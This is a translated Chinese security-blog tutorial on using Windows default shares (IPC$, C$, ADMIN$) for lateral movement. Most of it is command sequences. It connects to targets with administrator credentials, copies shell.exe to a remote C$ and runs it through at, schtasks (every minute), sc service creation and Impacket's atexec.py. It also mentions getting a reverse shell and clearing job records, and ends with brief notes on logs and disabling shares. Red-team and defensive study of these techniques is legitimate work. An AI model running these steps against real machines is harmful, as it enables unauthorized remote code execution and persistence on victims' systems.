Detailed explanation of the exploitation of Windows default shares

0 24
1. IntroductionIn the Windows system, by right-clicking 'Manage' on 'My Computer...

1. Introduction

In the Windows system, by right-clicking 'Manage' on 'My Computer' and then selecting 'System Tools→Shared Folders→Sharing' in turn, you will see some symbols marked with the dollar sign '$' which are the default shares of the Windows system, that is, the features automatically shared by Windows after installation

Detailed explanation of the exploitation of Windows default shares

command line net share

1739263787_67ab0f2b91300fb18793d.png!small?1739263786196

IPC$ (Internet Process Connection) can be understood as a kind of “dedicated pipeline)(command pipeline, related to the server service),can establish a secure channel between both parties connected, and achieve access to the remote computer. While Windows NT/2000/XP provides the IPC$ feature, it also opens the default sharing when the system is initially installed, that is, all thelogical shares (C$, D$, E$……) and system directories (ADMIN$) sharing. The purpose of all these shared resources is to facilitate the management of administrators (Only administrators can perform remote operations on themHowever, whether intentionally or unintentionally, it has led to potential security risks in system security.

1739263795_67ab0f333d85f5fa112ca.png!small?1739263792081

At the same time, Microsoft has said this: "The Server service needs to use the default IPC$ system management sharing. Therefore, you cannot delete this sharing. We recommend that you do not delete the system management sharing created by Windows for the root partition and volume (such as C$) and for the system root folder (ADMIN$). Deleting these folders may cause problems for administrators, programs, or services that depend on these shared resources. As long as the Server service "Server" is running, IPC$ cannot be deleted. Attempting to delete will only result in an "Access denied" error message. When you stop itServer serviceAfter that, IPC$ will disappear automatically.

All shared resources depend on ports 139 or 445

Secondly, common shared commands

View command

net use #View connections established on this machine (this machine connects to other machines)
net session #View connections established on this machine (connections from other machines), requires administrator user to execute

net share Command

net share View current enabled sharing

1739263814_67ab0f46a494bc2552d6a.png!small?1739263811693

net share #View local shared resources
net share ipc$ #Enable ipc$ sharing
net share ipc$ /del #Delete ipc$ sharing
net share admin$ /del #Delete admin$ sharing
net share c$ /del #Delete C disk sharing
net share d$ /del #Delete D disk sharing
net share * /del #Delete all connections

Deleting this way, the computer will automatically open after restarting

1739263832_67ab0f58c3d7d86ba35a2.png!small?1739263829710

net use Connection operation

net use \\192.168.10.15 #Establish an empty ipc connection with 192.168.10.15
net use \\192.168.10.15\ipc$ #Establish an empty ipc connection with 192.168.10.15
net use \\192.168.10.15\ipc$ /u:"" "" #Establish an empty ipc connection with 192.168.10.15

net view \\192.168.10.15 #View the default shares opened by the remote host

net use \\192.168.10.15 /u:"administrator" "root" #Establish an ipc connection with 192.168.10.15 as the administrator
net use \\192.168.10.15 /del #Delete the established ipc connection

Establish a shared connection using a domain account
net use \\192.168.10.15\c$ 域账户密码 /user:域名\域账户

net time \\192.168.10.15 #View the time on this host

net use \\192.168.10.15\c$ /u:"administrator" "root" #Establish a shared connection to the C drive
dir \\192.168.10.15\c$ #View the files on the C drive of 192.168.10.15
dir \\192.168.10.15\c$\user #View the user directory under the C drive of 192.168.10.15
dir \\192.168.10.15\c$\user\test.exe #View the test.exe file in the user directory under the C drive of 192.168.10.15
net use \\192.168.10.15\c$ /del #Delete this C drive shared connection

net use k: \\192.168.10.15\c$ /u:"administrator" "root" #Map the target C drive to the local K drive
net use k: /del #Delete this mapping

Establish an empty connection:

Source host:

1739263853_67ab0f6d5d6b8046bfce8.png!small?1739263850070

An empty connection is useless, access is denied

Destination host:

1739263870_67ab0f7ea58fb335963dc.png!small?1739263868219

3. Exploitation of IPC$

Refers to a non-empty connection

  • Establishing an IPC$ connection with an administrator can execute all the following commands.
  • Establishing an IPC$ connection with a normal user can only execute the 'view time' command: 'net time \192.168.10.131', and other commands cannot be executed.

Administrator group user ciby connection

1739263892_67ab0f94b86ea78ae8118.png!small?1739263889770

Unable to access the c disk share

1739263903_67ab0f9fd77057cf5cf17.png!small?1739263900747

Administrator account connection

1. You can list the c$ directory and execute commands

1739263912_67ab0fa85ad6015d5c3cf.png!small?1739263909997

2. File Management

You can also view the corresponding files and directories directly in the file management using the command: \192.168.2.130\c$, and you can also add, delete, modify, and query

1739263920_67ab0fb02d042c340ed88.png!small?1739263918978

3. tasklist command (View processes)

1739263941_67ab0fc50b2e9e44333d7.png!small?1739263938567

4. at command (Scheduled command, can反弹shell)

View the time on the target system: net time \\192.168.2.130

Copy the specified file in this directory to the target system: copy shell.exe \\192.168.2.130\c$

Create a scheduled task using at: at \\192.168.2.130 14:14:00 C:\shell.exe

1739263952_67ab0fd0ed75d7cdf32a8.png!small?1739263950088

1739263960_67ab0fd8611437562475a.png!small?1739263957612

Clear at records: at \\192.168.2.130 作业ID /delete

1739263966_67ab0fde587a6aa29fa2c.png!small?1739263963217


Execute using the at command, write the execution result to a local text file, and then view the content of the file using the type command: at \\192.168.2.130 14:23:00 cmd.exe /c "ipconfig > c:\1.txt"

1739263978_67ab0fea545c10e447678.png!small?1739263975446

View the generated 1.txt file: type \\192.168.10.131\C$\1.txt

1739263985_67ab0ff145dba4ac715ff.png!small?1739263984032

5. schtasks (Scheduled Tasks)

The at command has been deprecated in operating systems from Windows Vista and Windows Server 2008 onwards, and has been replaced by the schtasks command. The schtasks command is more flexible than the at command. When using the schtasks command, a log file is left in the system: C:\Windows\Tasks\SchedLgU.txt


Create a scheduled task named 'test' on the target host, with the program C:\shell.exe, starting with system privileges, and the task will start every minute.

schtasks /create /s 192.168.2.130 /u administrator /p 123.com /tn test /sc MINUTE /mo 1 /tr c:\shell.exe /ru administrator /f

1739264002_67ab1002b4492ae062e36.png!small?1739263999392

1739264010_67ab100ac5ed043645c8b.png!small?1739264007379

Log manifestation:

1739264043_67ab102b659bbb393afd6.png!small?1739264040279

schtasks /create /s 192.168.1.136 /u administrator /p password /tn c /tr c:\shell.exe /sc once /st 14:34

#/s Target /u Username /p Password /tn Specify filename /tr Specify file path /sc Execution count or frequency /st Start time

Other startup time parameters:

/sc onlogon Start when a user logs on

/sc onstart Start when the system starts

/sc onidle Start when the system is idle

Query this test scheduled task

schtasks /s 192.168.2.130 /u administrator /p 123.com /query | findstr test

1739264027_67ab101b43811ecb45c4a.png!small?1739264037199

Start this test scheduled task

schtasks /run /s 192.168.2.130 /u administrator /p 123.com /i /tn "test"

1739264038_67ab1026a15cd5a23d11c.png!small?1739264037199

Delete this test scheduled task

schtasks /delete /s 192.168.2.130 /u administrator /p 123.com /tn "test" /f

1739264043_67ab102b772c797563b75.png!small?1739264040279


6. Create a service using the sc command

copy test.exe \\192.168.10.20\c$

sc \\192.168.10.20 create test binpath= "c:\test.exe"

sc \\192.168.2.130 start test

1739264052_67ab1034e527f6083c727.png!small?1739264049591

View the created services

1739264061_67ab103d837fc4e2cf86f.png!small?1739264058375

sc \\192.168.2.130 delete test

1739264067_67ab10436af3ce929f5c4.png!small?1739264064539

7. atexec.py in Impacket

The atexec.py script in Impacket is used to exploitScheduled tasksGet permissions, the exploitation of this script requires the ipc$ sharing to be enabled. This script only works on Windows >= Vista systems. This example can execute commands on the target host through the Task Scheduler and return the output after command execution.

1739264075_67ab104b1d749d1490622.png!small?1739264072199

Log display:

1739264085_67ab105535200abdc08e5.png!small?1739264082338

Enable TaskScheduler logs

1739264090_67ab105a4ea2510bd059d.png!small?1739264086903

1739264117_67ab1075522acf232e7fb.png!small?1739264115207

4. Methods to close sharing

In addition to using the 'net share * /del' method to delete, there are many other ways, such as modifying the registry, disabling SERVER services, etc., and we can choose a way to stop the sharing ourselves.

Reference:

The 'net share' command lists the default shares on Windows (including the C drive) [easy to understand] - Tencent Cloud Developer Community - Tencent Cloud

Windows System Security | IPC$ sharing and other shared (C$, D$, Admin$) - Tencent Cloud Developer Community - Tencent Cloud

Detailed Explanation of Schtasks (Scheduled Tasks) Command - A Lazy Ghost's Blog - CSDN Blog

Four commonly used meterpreter trojan backdoors

Impacket Usage - ciyze0101 - Blog Garden

Impacket Scripting Guide (Part 1) - Xuanzhi Community

Turn off default sharing - Introduction to Windows default sharing - Tencent Cloud Developer Community - Tencent Cloud

你可能想看:

5. Collect exercise results The main person in charge reviews the exercise results, sorts out the separated exercise issues, and allows the red and blue sides to improve as soon as possible. The main

4.5 Main person in charge reviews the simulation results, sorts out the separated simulation issues, and allows the red and blue teams to improve as soon as possible. The main issues are as follows

b) It should have the login failure handling function, and should configure and enable measures such as ending the session, limiting the number of illegal logins, and automatically exiting when the lo

(3) Is the national secret OTP simply replacing the SHA series hash algorithms with the SM3 algorithm, and becoming the national secret version of HOTP and TOTP according to the adopted dynamic factor

b) It should have a login failure handling function, and should configure and enable measures such as ending the session, limiting the number of illegal login attempts, and automatically logging out w

Grade Protection Evaluation: Detailed Explanation of CentOS Login Failure Parameters and Two-Factor Authentication

Analysis of Windows spyware, will you still easily download Windows crack software?

Case technical sharing: Detailed explanation of failed authentication and its preventive strategies

How to search for exploitable binary files or exe files on Windows and Linux

Ensure that the ID can be accessed even if it is guessed or cannot be tampered with; the scenario is common in resource convenience and unauthorized vulnerability scenarios. I have found many vulnerab

最后修改时间:
admin
上一篇 2025年03月28日 10:49
下一篇 2025年03月28日 11:11

评论已关闭